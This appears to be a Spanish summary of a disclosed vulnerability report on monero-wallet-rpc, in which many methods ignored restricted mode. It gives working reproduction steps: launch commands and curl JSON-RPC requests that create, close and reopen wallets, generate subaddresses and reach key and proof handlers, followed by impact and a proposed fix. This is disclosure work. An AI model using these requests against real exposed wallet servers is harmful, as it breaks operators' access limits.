Reports
ALTA[AUTENTICACIÓN]#3620006

Monero: el modo restringido de monero-wallet-rpc dejaba crear, abrir y cerrar carteras

Varios métodos de monero-wallet-rpc no comprobaban el modo --restricted-rpc, así que un cliente que debía ser de solo lectura podía crear, abrir y cerrar carteras, generar direcciones y llegar a funciones de pruebas y claves.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

monero-wallet-rpc, el servidor RPC de la cartera de Monero, tiene una opción --restricted-rpc que, según su propia descripción, limita el acceso a órdenes de solo lectura:

const command_line::arg_descriptor<bool> arg_restricted = {"restricted-rpc", "Restricts to view-only commands", false};

El problema está en cómo se aplicaba esa limitación. No había una lista central de métodos permitidos: cada manejador de src/wallet/wallet_rpc_server.cpp tenía que comprobar por su cuenta la variable m_restricted y devolver un error. Algunos, como transfer, lo hacían bien:

if (m_restricted)
{
  er.code = WALLET_RPC_ERROR_CODE_DENIED;
  er.message = "Command unavailable in restricted mode.";
  return false;
}

Pero otros muchos se habían quedado sin esa comprobación. El investigador identificó 18 manejadores afectados en src/wallet/wallet_rpc_server.cpp:

  • Gestión de carteras: on_create_wallet() (línea 3592), on_open_wallet() (3685) y on_close_wallet() (3756).
  • Direcciones y cuentas: on_set_subaddr_lookahead() (706), on_create_address() (732), on_label_address() (770), on_create_account() (833), on_label_account() (851), on_tag_accounts() (887), on_untag_accounts() (903) y on_set_account_tag_description() (919).
  • Claves y pruebas: on_get_tx_key() (2640), on_get_tx_proof() (2732), on_get_spend_proof() (2799), on_get_reserve_proof() (2849) y on_export_key_images() (3148).
  • Minería: on_start_mining() (3535) y on_stop_mining() (3570).

De ellos, lo demostró en ejecución con create_wallet, close_wallet, open_wallet, create_address, export_key_images, get_tx_key y get_reserve_proof; el resto los detectó revisando el código.

El fallo se validó sobre master en el commit b9998fc9e1c280d30e4b40ba983b1964eb256d66. El modo restringido entró con el commit a64f57fe42292720415a507feb4f543ef3c3adbe, presente desde v0.13.0.0-RC1, así que según el investigador están afectadas todas las versiones desde esa hasta la 0.18.x y la rama master de entonces.

Pasos de reproducción

  1. Compilar el servidor RPC de la cartera:
cmake --build build-audit-run --target wallet_rpc_server -j4
  1. Arrancarlo en modo restringido. Para simplificar, la primera prueba desactiva el login RPC y usa el modo sin conexión:
mkdir -p /tmp/monero-wallet-rpc-restricted-test/wallets
./build-audit-run/bin/monero-wallet-rpc \
  --wallet-dir /tmp/monero-wallet-rpc-restricted-test/wallets \
  --restricted-rpc \
  --disable-rpc-login \
  --offline \
  --rpc-bind-ip 127.0.0.1 \
  --rpc-bind-port 28090 \
  --non-interactive \
  --log-level 0
  1. Crear una cartera. En modo restringido debería rechazarse, pero responde con éxito:
curl -sS -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":"0","method":"create_wallet","params":{"filename":"attacker_wallet","password":"testpass","language":"English"}}' \
  http://127.0.0.1:28090/json_rpc
{
  "id": "0",
  "jsonrpc": "2.0",
  "result": {}
}
  1. Como control, con la cartera ya cargada, llamar a transfer, que sí está bien protegido. Hace falta tener una cartera cargada: sin ella, transfer devuelve No wallet file antes de llegar a la comprobación del modo restringido.
curl -sS -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":"10","method":"transfer","params":{"destinations":[],"priority":0}}' \
  http://127.0.0.1:28090/json_rpc
{
  "error": {
    "code": -7,
    "message": "Command unavailable in restricted mode."
  },
  "id": "10",
  "jsonrpc": "2.0"
}
  1. Cerrar la cartera activa con close_wallet (responde "result": {}) y comprobar que ha quedado cerrada pidiendo el saldo:
curl -sS -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":"2","method":"close_wallet","params":{"autosave_current":true}}' \
  http://127.0.0.1:28090/json_rpc

curl -sS -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":"3","method":"get_balance","params":{}}' \
  http://127.0.0.1:28090/json_rpc
{
  "error": {
    "code": -13,
    "message": "No wallet file"
  },
  "id": "3",
  "jsonrpc": "2.0"
}
  1. Volver a abrirla con open_wallet (también responde "result": {}):
curl -sS -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":"4","method":"open_wallet","params":{"filename":"attacker_wallet","password":"testpass"}}' \
  http://127.0.0.1:28090/json_rpc
  1. Crear una subdirección nueva. El servidor la genera y la devuelve:
curl -sS -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":"7","method":"create_address","params":{"account_index":0,"label":"evil-sub"}}' \
  http://127.0.0.1:28090/json_rpc
{
  "id": "7",
  "jsonrpc": "2.0",
  "result": {
    "address": "8C7psYHwSsHMsaswTBBTkiPixnhTecvpYPs2L93pnJePVw8b26ND5ot1m8mAEyWKQxASEsBSqi53i2TFf9hzXso1KHvijP6",
    "address_index": 1,
    "address_indices": [1],
    "addresses": ["8C7psYHwSsHMsaswTBBTkiPixnhTecvpYPs2L93pnJePVw8b26ND5ot1m8mAEyWKQxASEsBSqi53i2TFf9hzXso1KHvijP6"]
  }
}
  1. Llamar a los métodos de claves y pruebas. export_key_images responde con éxito ("result": {"offset": 0}), y get_tx_key y get_reserve_proof no devuelven el error de modo restringido, sino errores propios de su lógica interna (No tx secret key is stored for this tx y Zero balance), lo que demuestra que la petición llega a ejecutarse:
curl -sS -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":"8","method":"export_key_images","params":{"all":true}}' \
  http://127.0.0.1:28090/json_rpc

curl -sS -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":"9","method":"get_tx_key","params":{"txid":"0000000000000000000000000000000000000000000000000000000000000000"}}' \
  http://127.0.0.1:28090/json_rpc

curl -sS -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":"11","method":"get_reserve_proof","params":{"all":true,"account_index":0,"amount":0,"message":"hello"}}' \
  http://127.0.0.1:28090/json_rpc

La diferencia con lo que debería pasar, tomando get_tx_key como ejemplo:

 {
   "error": {
-    "code": -7,
-    "message": "Command unavailable in restricted mode."
+    "code": -24,
+    "message": "No tx secret key is stored for this tx"
   },
   "id": "9",
   "jsonrpc": "2.0"
 }
  1. Repetir con la autenticación normal activada (sin --disable-rpc-login), para descartar que el fallo dependa de haberla quitado. El servidor genera unas credenciales monero:<generated-password> en el fichero monero-wallet-rpc.28091.login:
mkdir -p /tmp/monero-wallet-rpc-restricted-auth-test/wallets
./build-audit-run/bin/monero-wallet-rpc \
  --wallet-dir /tmp/monero-wallet-rpc-restricted-auth-test/wallets \
  --restricted-rpc \
  --offline \
  --rpc-bind-ip 127.0.0.1 \
  --rpc-bind-port 28091 \
  --non-interactive \
  --log-level 0
curl -sS --digest -u 'monero:<generated-password>' \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":"12","method":"create_wallet","params":{"filename":"auth_wallet","password":"testpass","language":"English"}}' \
  http://127.0.0.1:28091/json_rpc

curl -sS --digest -u 'monero:<generated-password>' \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":"14","method":"create_address","params":{"account_index":0,"label":"auth-sub"}}' \
  http://127.0.0.1:28091/json_rpc

Ambas llamadas tienen éxito igual que antes: create_wallet devuelve "result": {} y create_address devuelve una subdirección nueva con "address_index": 1.

Impacto

El modo restringido existe para dar a un cliente acceso de solo lectura a la cartera. Con este fallo, un cliente con credenciales restringidas podía salirse de ese límite y:

  • Crear carteras nuevas en el directorio del servidor.
  • Cerrar la cartera activa, lo que rompe las operaciones siguientes sobre ella hasta que el operador la vuelva a cargar (un impacto de disponibilidad).
  • Abrir otras carteras y modificar su estado, por ejemplo generando subdirecciones.
  • Llegar a los manejadores de claves y pruebas (get_tx_key, get_reserve_proof, export_key_images…), que no deberían estar a su alcance. El investigador aclara que su prueba no llegó a extraer material secreto con ellos.

El investigador propuso una puntuación CVSS v3.1 de 7,6 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L). Hay matices: por defecto el RPC de la cartera solo escucha en la interfaz local y con autenticación activada, así que el escenario de ataque remoto supone que el operador ha expuesto a propósito el RPC a un cliente remoto con permisos restringidos.

Remediación

El programa marcó el reporte como resuelto, pero en él no consta cómo se corrigió. La solución que propuso el investigador es dejar de repartir la comprobación entre los manejadores:

  1. Definir una lista central de métodos realmente de solo lectura.
  2. Rechazar cualquier método que no esté en esa lista antes de llegar al manejador cuando m_restricted esté activo.
  3. Añadir pruebas de regresión que comprueben qué métodos se permiten y cuáles se deniegan en modo restringido.

Como candidatos para esa lista sugirió get_balance, get_address, get_height, get_accounts, get_transfers, get_transfer_by_txid, get_address_book, get_version y query_key, este último solo cuando key_type == "view_key" (las consultas de la clave de gasto deberían seguir denegadas).